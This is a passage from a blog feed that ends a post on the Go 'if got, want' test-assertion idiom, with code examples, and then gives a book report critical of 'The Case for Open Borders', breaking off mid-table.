&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>users := &lt;span style="color:#447fcf">GetAllUsers&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := &lt;span style="color:#24909d">len&lt;/span>(users), &lt;span style="color:#3677a9">1&lt;/span>; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;userCount=%d, want=%d&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := users[&lt;span style="color:#3677a9">0&lt;/span>].username, adminUsername; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;username=%s, want: %s&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you know the pattern, your eye can quickly find the important information in a test assertion:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/if-got-want-improve-go-tests/eye-locations.webp">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/if-got-want-improve-go-tests/eye-locations_hu_9a96f1e2fad690dd.webp 300w, https://mtlynch.io/if-got-want-improve-go-tests/eye-locations_hu_d6c7dd6d5e420099.webp 600w, https://mtlynch.io/if-got-want-improve-go-tests/eye-locations_hu_f92c83f786b5a586.webp 800w, https://mtlynch.io/if-got-want-improve-go-tests/eye-locations.webp 1138w'
 src="https://mtlynch.io/if-got-want-improve-go-tests/eye-locations.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When you recognize this pattern, your eye can quickly find the actual and expected values of the assertion.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="its-easy-to-copypaste">It&amp;rsquo;s easy to copy/paste&lt;/h3>
&lt;p>When the variables are always named &lt;code>got&lt;/code> and &lt;code>want&lt;/code>, you can copy/paste assertions without having to change much. You usually just have to change the assignments, the name in the &lt;code>t.Errorf&lt;/code>, and maybe the format specifiers (e.g., &lt;code>%s&lt;/code> vs &lt;code>%v&lt;/code>).&lt;/p>
&lt;p>This pattern also prevents a mistake I frequently made in the past, where I&amp;rsquo;d copy/paste a test assertion but forget to update some part of the error message, like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>username := &lt;span style="color:#447fcf">GetUser&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> username != &lt;span style="color:#ed9d13">&amp;#34;admin&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;wrong username: got %s, want %s&amp;#34;&lt;/span>, username, &lt;span style="color:#ed9d13">&amp;#34;admin&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>email := &lt;span style="color:#447fcf">GetEmail&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> email != &lt;span style="color:#ed9d13">&amp;#34;root@example.com&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Whoops, copy/pasted from above but forgot to update the error message.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;wrong username: got %s, want %s&amp;#34;&lt;/span>, username, &lt;span style="color:#ed9d13">&amp;#34;admin&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I wouldn&amp;rsquo;t notice the mistake until my test failed, yielding this confusing error message:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>--- FAIL: TestUserProperties (0.00s)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> users_test.go:24: wrong username: got admin, want admin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>if got, want :=&lt;/code> pattern protects me from this class of error because if I copy/paste a test assertion, I only have to update values in one place.&lt;/p>
&lt;h3 id="it-distinguishes-test-assertions-from-test-logic">It distinguishes test assertions from test logic&lt;/h3>
&lt;p>When I implement HTTP servers in Go, I often write unit tests that look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">TestUserHandler&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> _, tt := &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> []&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> explanation &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> payload &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> statusExpected &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> responseExpected &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;valid request returns success&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;username=doug&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.StatusOK,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;created user doug&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;reject username with angle brackets&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;username=d&amp;lt;script&amp;gt;oug&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.StatusBadRequest,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;reject empty username&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;username=&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.StatusBadRequest,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Run&lt;/span>(tt.explanation, &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> req, err := http.&lt;span style="color:#447fcf">NewRequest&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;POST&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;/user&amp;#34;&lt;/span>, strings.&lt;span style="color:#447fcf">NewReader&lt;/span>(tt.payload))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatal&lt;/span>(err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s := &lt;span style="color:#447fcf">NewServer&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rec := httptest.&lt;span style="color:#447fcf">NewRecorder&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s.&lt;span style="color:#447fcf">Router&lt;/span>().&lt;span style="color:#447fcf">ServeHTTP&lt;/span>(rec, req)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> res := rec.&lt;span style="color:#447fcf">Result&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := res.StatusCode, tt.statusExpected; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;httpStatus=%v, want=%v&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// If this is not a test for valid input, ignore the rest of the&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// server&amp;#39;s response.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> tt.statusExpected != http.StatusOK {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> body, err := io.&lt;span style="color:#447fcf">ReadAll&lt;/span>(res.Body)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatal&lt;/span>(err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> res.Body.&lt;span style="color:#447fcf">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := &lt;span style="color:#24909d">string&lt;/span>(body), tt.responseExpected; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;response=%s, want=%s&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In that test body, there are two different types of &lt;code>if&lt;/code> statements: test assertions and test logic branches.&lt;/p>
&lt;p>Every &lt;code>if&lt;/code> statement with the &lt;code>if got, want :=&lt;/code> pattern is an assertion about the code I&amp;rsquo;m testing. All the other &lt;code>if&lt;/code> statements are just controlling code flow and are not assertions about my code.&lt;/p>
&lt;p>For example, the first &lt;code>if&lt;/code> statement in the test is to check that I was able to construct an HTTP request object:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>req, err := http.&lt;span style="color:#447fcf">NewRequest&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;POST&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;/user&amp;#34;&lt;/span>, strings.&lt;span style="color:#447fcf">NewReader&lt;/span>(tt.payload))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatal&lt;/span>(err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s not an assertion about my code because I haven&amp;rsquo;t even called my server yet. If that code fails, something wacky has happened in the Go standard library.&lt;/p>
&lt;p>On the other hand, any time the reader sees &lt;code>if got, want :=&lt;/code>, they can be certain I&amp;rsquo;m asserting something about the code I&amp;rsquo;m testing:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := res.StatusCode, tt.statusExpected; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;httpStatus=%v, want=%v&amp;#34;&lt;/span>, got, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="why-not-use-a-third-party-test-assertion-library">Why not use a third-party test assertion library?&lt;/h2>
&lt;p>If you&amp;rsquo;re a devout user of a third-party testing library like &lt;a href="https://github.com/stretchr/testify">testify&lt;/a> or &lt;a href="https://github.com/matryer/is">is&lt;/a>, this post probably sounds ridiculous. Those libraries offer both expressive test output and clear assertions, so why don&amp;rsquo;t I use them?&lt;/p>
&lt;p>I came to Go from Python, so I thought it was absurd that Go didn&amp;rsquo;t offer an API like &lt;a href="https://docs.python.org/3/library/unittest.html#basic-example">Python&amp;rsquo;s &lt;code>unittest.assertEqual&lt;/code>&lt;/a>. I immediately reached for third-party libraries to create mocks and make assertions, but my more experienced teammates asked me to try the Go standard library&amp;rsquo;s testing APIs instead.&lt;/p>
&lt;p>I came to prefer the minimalism and explicitness of Go&amp;rsquo;s standard testing library over third-party libraries. The libraries are one more dependency to maintain and one more layer of abstraction that could introduce bugs.&lt;/p>
&lt;h2 id="credit">Credit&lt;/h2>
&lt;p>I learned this technique from &lt;a href="https://litestream.io/">Litestream&lt;/a> author &lt;a href="https://github.com/benbjohnson">Ben Johnson&lt;/a>, who, in turn, learned it &lt;a href="https://github.com/search?q=repo%3Agolang%2Fgo+%22if+got%2C+want%22+&amp;amp;type=code">from its occasional use in the Go standard library&lt;/a>.&lt;/p></content:encoded></item><item><title>The Case for Open Borders by John Washington</title><link>https://mtlynch.io/book-reports/the-case-for-open-borders/</link><pubDate>Sat, 28 Dec 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/the-case-for-open-borders/</guid><description>&lt;p>If you&amp;rsquo;re a liberal who&amp;rsquo;s interested in becoming a &lt;em>radical&lt;/em> progressive, this is a good book for you. If you&amp;rsquo;re anyone else, you&amp;rsquo;re probably not the target audience.&lt;/p></description><content:encoded>&lt;p>If you&amp;rsquo;re a liberal who&amp;rsquo;s interested in becoming a &lt;em>radical&lt;/em> progressive, this is a good book for you. If you&amp;rsquo;re anyone else, you&amp;rsquo;re probably not the target audience.&lt;/p>
&lt;p>I found the book frustrating in a lot of ways.&lt;/p>
&lt;p>I hoped the author would consider the benefits of borders and weight them against the harms and make the case that the harms outweigh the benefits. Instead, the author was unable or unwilling to see any legitimate reason for a nation to enforce limits or criteria on who may enter.&lt;/p>
&lt;p>Instead of evaluating pros and cons, the author enumerates all the harms of border control and concludes that we should abolish borders because they have negative effects. This is basically like arguing that because you sometimes forget your keys and can&amp;rsquo;t use your car, we should just get rid of car keys and make cars accessible to any person who wants to use one.&lt;/p>
&lt;p>When people talk about &lt;a href="https://fs.blog/chestertons-fence/">&amp;ldquo;Chesterton&amp;rsquo;s Fence,&amp;rdquo;&lt;/a> it&amp;rsquo;s about this exact situation. Every country has borders, and there are reasons why those borders exist. It&amp;rsquo;s silly to talk about eliminating borders without acknowledging why virtually every civilization created them in the first place:&lt;/p>
&lt;blockquote>
&lt;p>There exists in such a case a certain institution or law; let us say, for the sake of simplicity, a fence or gate erected across a road. The more modern type of reformer goes gaily up to it and says, “I don’t see the use of this; let us clear it away.” To which the more intelligent type of reformer will do well to answer: &amp;ldquo;If you don’t see the use of it, I certainly won’t let you clear it away. Go away and think. Then, when you can come back and tell me that you do see the use of it, I may allow you to destroy it.&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;Chesterton&amp;rsquo;s Fence,&amp;rdquo; by G.K. Chesterton&lt;/p>&lt;/blockquote>
&lt;p>The author also assumes that the reader shares some particularly extreme worldviews, such as that capitalism shouldn&amp;rsquo;t exist and that Western countries have an obligation to provide not just free passsage, but travel assistance and social welfare to any person anywhere in the world who wants to relocate to the US or Europe.&lt;/p>
&lt;p>I did learn some interesting details that improved my understanding of immigration, but overall, I felt like the author and I differed too much in fundamental beliefs about citizenship, so the arguments didn&amp;rsquo;t resonate with me.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I Liked&lt;/h2>
&lt;ul>
&lt;li>It&amp;rsquo;s &lt;a href="https://www.haymarketbooks.org/books/2199-the-case-for-open-borders">available as a DRM-free ebook&lt;/a>. I never see that for books I find in the bookstore.&lt;/li>
&lt;li>The last section of the book felt well-argued and not appeals to emotion.&lt;/li>
&lt;li>It included interesting historical examples of rapid migration that I wasn&amp;rsquo;t aware of.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I Disliked&lt;/h2>
&lt;ul>
&lt;li>The arguments are lacking in nuance. The author only considers the harms of immigration policies and uses that to justify abolishing them without considering any benefits.&lt;/li>
&lt;li>The author repeatedly claims that borders are unnecessary but has no examples of any modern society with open borders or any explanation for why no country adopts such a policy.&lt;/li>
&lt;li>The author is uncharitable in painting proponents of immigration controls. They&amp;rsquo;re presented as seething xenophobes or greedy elites.&lt;/li>
&lt;li>The author largely ignores any criticism of open borders or studies contradicting his beliefs.
&lt;ul>
&lt;li>Almost all studies he discusses are from pro-immigration organizations or libertarian think tanks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most of the people he quotes aren&amp;rsquo;t policy experts but philosophers, poets, and activists.&lt;/li>
&lt;li>He takes bizarre extreme positions, such as arguing that even illegal immigrants who commit violent crime don&amp;rsquo;t deserve arrest.
&lt;ul>
&lt;li>He claims that if an immigrant commits a violent crime, it was probably America&amp;rsquo;s fault for not setting up that immigrant for success.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>He casually dismisses the idea that restricting entry to a country is like controlling access to a private home, but I finished the book still feeling like the motivations for securing a private home are similar to securing a country&amp;rsquo;s border.&lt;/li>
&lt;li>The author repeatedly makes the argument that borders aren&amp;rsquo;t &amp;ldquo;real&amp;rdquo; because they&amp;rsquo;re defined arbitrarily and change over time. Because of this, the author asserts that they&amp;rsquo;re not legitimate.
&lt;ul>
&lt;li>Similarly, he argues that borders are often imperfect and interfere with historical behavior of human tribes or animal species. And because they&amp;rsquo;re imperfect, they should not exist at all.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Author often lumps together legal and illegal immigration when he wants to demonstrate benefits rather than addressing whether the benefits are mostly from legal immigration.&lt;/li>
&lt;li>The causality is questionable.
&lt;ul>
&lt;li>The author points to economic increase after migration and credits migration with the economic boom, but it seems just as likely that the economic boom was what caused the immigration.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The book has poor sourcing and often refers to studies without specifically citing them, making it difficult to check claims.&lt;/li>
&lt;li>Argues that borders cause violence rather than prevent it.
&lt;ul>
&lt;li>In the context of places like Israel, it&amp;rsquo;s absurd to imagine there would be peace if Israel simply stopped defending its borders.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key Takeaways&lt;/h2>
&lt;h3 id="immigration-in-the-us">Immigration in the US&lt;/h3>
&lt;ul>
&lt;li>Between 1800 - 1900, 75% of all global immigration was into the US.&lt;/li>
&lt;li>The US deports more people than any other country.&lt;/li>
&lt;/ul>
&lt;h3 id="arguments-for-relaxing-restrictions-on-us-immigration">Arguments for relaxing restrictions on US immigration&lt;/h3>
&lt;p>&lt;em>&lt;strong>Ed&lt;/strong>: The author provides many more arguments than this, but these were the ones that I found compelling.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>The US has destabilized many other countries through diplomatic policies and active intervention.
&lt;ul>
&lt;li>We therefore have an obligation to residents in those countries to offer a safe place to live.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Western countries contribute to climate change more severely than most impoverished countries.
&lt;ul>
&lt;li>Global warming is making some areas of the world uninhabitable.&lt;/li>
&lt;li>The US has a responsibility to people who have been displaced from their homes due to climate change.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="displacement-of-native-americans">Displacement of Native Americans&lt;/h3>
&lt;ul>
&lt;li>Forced removal of Native Americans during the 1830s cost about $1T in 2023 dollars.&lt;/li>
&lt;li>In 1836, 40% of federal spending was on deportation of Native Americans.&lt;/li>
&lt;/ul>
&lt;h3 id="immigrant-detention-centers-in-the-us">Immigrant detention centers in the US&lt;/h3>
&lt;ul>
&lt;li>In 2019, the US spent $11M/day on immigrant detention centers.&lt;/li>
&lt;li>62% of detention beds are in private, for-profit prisons.&lt;/li>
&lt;/ul>
&lt;h3 id="impact-on-wages-and-unemployment">Impact on wages and unemployment&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://wol.iza.org/uploads/articles/42/pdfs/do-immigrant-workers-depress-the-wages-of-native-workers.pdf">2007 study by Giovanni Peri&lt;/a> found that immigration does not increase unemployment or reduce wages.&lt;/li>
&lt;li>Undocumented immigrants pay more in taxes than they receive in government benefits.
&lt;ul>
&lt;li>The author cites as evidence the &lt;a href="https://www.nytimes.com/interactive/2017/09/19/us/politics/document-Refugee-Report.html">leaked HHS report&lt;/a> on immigrants&amp;rsquo; impact on tax revenue.&lt;/li>
&lt;li>&lt;em>&lt;strong>Ed&lt;/strong>: From reading some of these studies about tax revenue vs. consumption of public resources, I&amp;rsquo;m skeptical.&lt;/em>
&lt;ul>
&lt;li>&lt;em>The studies often consider time windows when immigrants are working age, which is when they contribute most in taxes and consume least in public support. They don&amp;rsquo;t capture the costs of sustaining their health in old age or of additional load on the school system when their kids enter school.&lt;/em>&lt;/li>
&lt;li>&lt;em>It also seems impossible to get an accurate accounting of how much a particular person paid in sales tax, especially when so much of their finances are under the table. And it&amp;rsquo;s similarly hard to decide what portion of public resources a particular person is consuming, especially for things like school where they need additional support from not speaking the language.&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="1929-mexican-repatriation-act">&lt;a href="https://en.wikipedia.org/wiki/Mexican_Repatriation">1929 Mexican Repatriation Act&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>1929 Mexican Repatriation Act deported 2M people.
&lt;ul>
&lt;li>Many of those displaced were legal US citizens.&lt;/li>
&lt;li>A &lt;a href="https://www.nber.org/system/files/working_papers/w23885/w23885.pdf">2017 analysis by the National Bureau of Economic Research&lt;/a> found that cities that enforced repatriation more intensely suffered more economically.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="1980-mariel-boatlift">&lt;a href="https://en.wikipedia.org/wiki/Mariel_boatlift">1980 Mariel Boatlift&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>In 1979, a series of agricultural crises hit Cuba along with fishing limitations due to diplomatic failures.
&lt;ul>
&lt;li>As a result, the Cuban economy was struggling, and thousands of Cubans were trying to escape the country.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Jimmy Carter tried to undermine the Cuban government by highlighting how many Cubans were trying to leave.&lt;/li>
&lt;li>In response to Carter, Fidel Castro publicly announced that any Cubans could leave the country if their relatives in the US picked them up from the Mariel port in Cuba.&lt;/li>
&lt;li>Due to the US Cuban Adjustment Act of 1966, Cubans get a green card after only a year of residency and could get work authorization immediately regardless of how they arrived.&lt;/li>
&lt;li>125k Cubans migrated from Cuba to Florida in 1980.
&lt;ul>
&lt;li>100k of that migration happened in just 6 weeks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The migration increased Miami&amp;rsquo;s labor force by 7%.
&lt;ul>
&lt;li>It was a 20% increase in Miami&amp;rsquo;s Cuban labor force.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Before the boatlift, Miami was the US city with the highest proportion of foreign workers at 35.5%.
&lt;ul>
&lt;li>#2 was LA at 22%.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Over the next five years in Miami:
&lt;ul>
&lt;li>Wages for black workers increased.&lt;/li>
&lt;li>Wages for non-Cuban Latinos stayed steady.&lt;/li>
&lt;li>Wages for pre-existing Cubans fell.&lt;/li>
&lt;li>Author doesn&amp;rsquo;t mention the impact on wages for white workers, but &lt;a href="https://web.archive.org/web/20160821045111/https://www.hks.harvard.edu/fs/gborjas/publications/journal/ILRR2017.pdf">a 1996 study by a Cuban-American economist&lt;/a> suggests that it negatively impacted wages for the native population.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="mass-migration-to-israel">Mass migration to Israel&lt;/h3>
&lt;ul>
&lt;li>From 1989 to 1995, 610k people migrated from Russia to Israel, increasing population by 12%.
&lt;ul>
&lt;li>Wages increased and unemployment dropped.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="immigration-and-terrorism">Immigration and terrorism&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.cato.org/policy-analysis/terrorism-immigration#introduction">A 2023 Cato Institute study&lt;/a> found that nobody who entered US illegally has committed an act of terror.
&lt;ul>
&lt;li>Nine people were arrested for plotting one.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Visa category&lt;/th>
 &lt;th>Number of terrorists&lt;/th>
 &lt;th>Murders in terrorist attacks&lt;/th>
 &lt;th>Injuries in terrorist attacks&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Lawful permanent resident (LPR)&lt;/td>
 &lt;td>70&lt;/td>
 &lt;td>22.0&lt;/td>
 &lt;td>329.5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Tourist&lt;/td>
 &lt;td>44&lt;/td>
 &lt;td>2829.4&lt;/td>
 &lt;td>14961.6&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Refugee&lt;/td>
 &lt;td>28&lt;/td>
 &lt;td>4.0&lt;/td>
 &lt;td>21.5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Student&lt;/td>
 &lt;td>22&lt;/td>
 &lt;td>158.8&lt;/td>
